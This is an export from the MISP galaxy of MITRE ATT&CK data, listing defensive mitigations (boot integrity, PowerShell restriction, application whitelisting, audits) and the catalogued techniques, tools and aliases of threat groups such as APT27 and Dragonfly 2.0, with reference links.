Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.

The tag is: misp-galaxy:mitre-course-of-action="Boot Integrity - M1046"

Boot Integrity - M1046 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 2944. Table References
Links
https://attack.mitre.org/mitigations/M1046

Scripting Mitigation - T1064

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: misp-galaxy:mitre-course-of-action="Scripting Mitigation - T1064"

Scripting Mitigation - T1064 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 2945. Table References
Links
https://attack.mitre.org/mitigations/T1064
https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)

The tag is: misp-galaxy:mitre-course-of-action="Bootkit Mitigation - T1067"

Bootkit Mitigation - T1067 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Table 2946. Table References
Links
https://attack.mitre.org/mitigations/T1067
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf
https://technet.microsoft.com/en-us/windows/dn168167.aspx

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"

PowerShell Mitigation - T1086 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2947. Table References
Links
https://attack.mitre.org/mitigations/T1086
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"

Timestomp Mitigation - T1099 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

Table 2948. Table References
Links
https://attack.mitre.org/mitigations/T1099
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Regsvr32 Mitigation - T1117

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation - T1117"

Regsvr32 Mitigation - T1117 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"

Table 2949. Table References
Links
https://attack.mitre.org/mitigations/T1117
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"

InstallUtil Mitigation - T1118 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"

Table 2950. Table References
Links
https://attack.mitre.org/mitigations/T1118

CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"

CMSTP Mitigation - T1191 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"

Table 2951. Table References
Links
https://attack.mitre.org/mitigations/T1191
https://msitpros.com/?p=3960

Keychain Mitigation - T1142

The password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"

Keychain Mitigation - T1142 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"

Table 2952. Table References
Links
https://attack.mitre.org/mitigations/T1142

Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: misp-galaxy:mitre-course-of-action="Launchctl Mitigation - T1152"

Launchctl Mitigation - T1152 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"

Table 2953. Table References
Links
https://attack.mitre.org/mitigations/T1152

Source Mitigation - T1153

Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.

The tag is: misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"

Source Mitigation - T1153 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Source - T1153" with estimative-language:likelihood-probability="almost-certain"

Table 2954. Table References
Links
https://attack.mitre.org/mitigations/T1153

Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.

The tag is: misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"

Trap Mitigation - T1154 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Trap - T1154" with estimative-language:likelihood-probability="almost-certain"

Table 2955. Table References
Links
https://attack.mitre.org/mitigations/T1154

HISTCONTROL Mitigation - T1148

Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"

HISTCONTROL Mitigation - T1148 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"

Table 2956. Table References
Links
https://attack.mitre.org/mitigations/T1148
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"

AppleScript Mitigation - T1155 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"

Table 2957. Table References
Links
https://attack.mitre.org/mitigations/T1155
https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/

Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"

Sudo Mitigation - T1169 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"

Table 2958. Table References
Links
https://attack.mitre.org/mitigations/T1169

Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"

Hooking Mitigation - T1179 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"

Table 2959. Table References
Links
https://attack.mitre.org/mitigations/T1179

Antivirus/Antimalware - M1049

Use signatures or heuristics to detect malicious software.

The tag is: misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"

Antivirus/Antimalware - M1049 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 2960. Table References
Links
https://attack.mitre.org/mitigations/M1049

Attestation - M1002

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: misp-galaxy:mitre-course-of-action="Attestation - M1002"

Attestation - M1002 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"

Table 2961. Table References
Links
https://attack.mitre.org/mitigations/M1002

Audit - M1047

Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

The tag is: misp-galaxy:mitre-course-of-action="Audit - M1047"

Audit - M1047 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 2962. Table References
Links
https://attack.mitre.org/mitigations/M1047

Intrusion Set

Name of ATT&CK Group.

Intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: MITRE

The White Company - G0089

[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)

The tag is: misp-galaxy:mitre-intrusion-set="The White Company - G0089"

The White Company - G0089 is also known as:

The White Company

The White Company - G0089 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Revenge RAT - S0379" with estimative-language:likelihood-probability="almost-certain"

Table 2963. Table References
Links
https://attack.mitre.org/groups/G0089
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

Threat Group-3390 - G0027

[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027"

Threat Group-3390 - G0027 is also known as:

Threat Group-3390
TG-3390
Emissary Panda
BRONZE UNION
APT27
Iron Tiger
LuckyMouse

Threat Group-3390 - G0027 has relationships with:

similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OwaAuth - S0072" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HyperBro - S0398" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"

Table 2964. Table References
Links
https://attack.mitre.org/groups/G0027
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.secureworks.com/research/bronze-union
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/

Threat Group-1314 - G0028

[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)

The tag is: misp-galaxy:mitre-intrusion-set="Threat Group-1314 - G0028"

Threat Group-1314 - G0028 is also known as:

Threat Group-1314
TG-1314

Threat Group-1314 - G0028 has relationships with:

uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 2965. Table References
Links
https://attack.mitre.org/groups/G0028
http://www.secureworks.com/resources/blog/living-off-the-land/

Dragonfly 2.0 - G0074

[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Dragonfly 2.0 - G0074"

Dragonfly 2.0 - G0074 is also known as:

Dragonfly 2.0
Berserk Bear

Dragonfly 2.0 - G0074 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
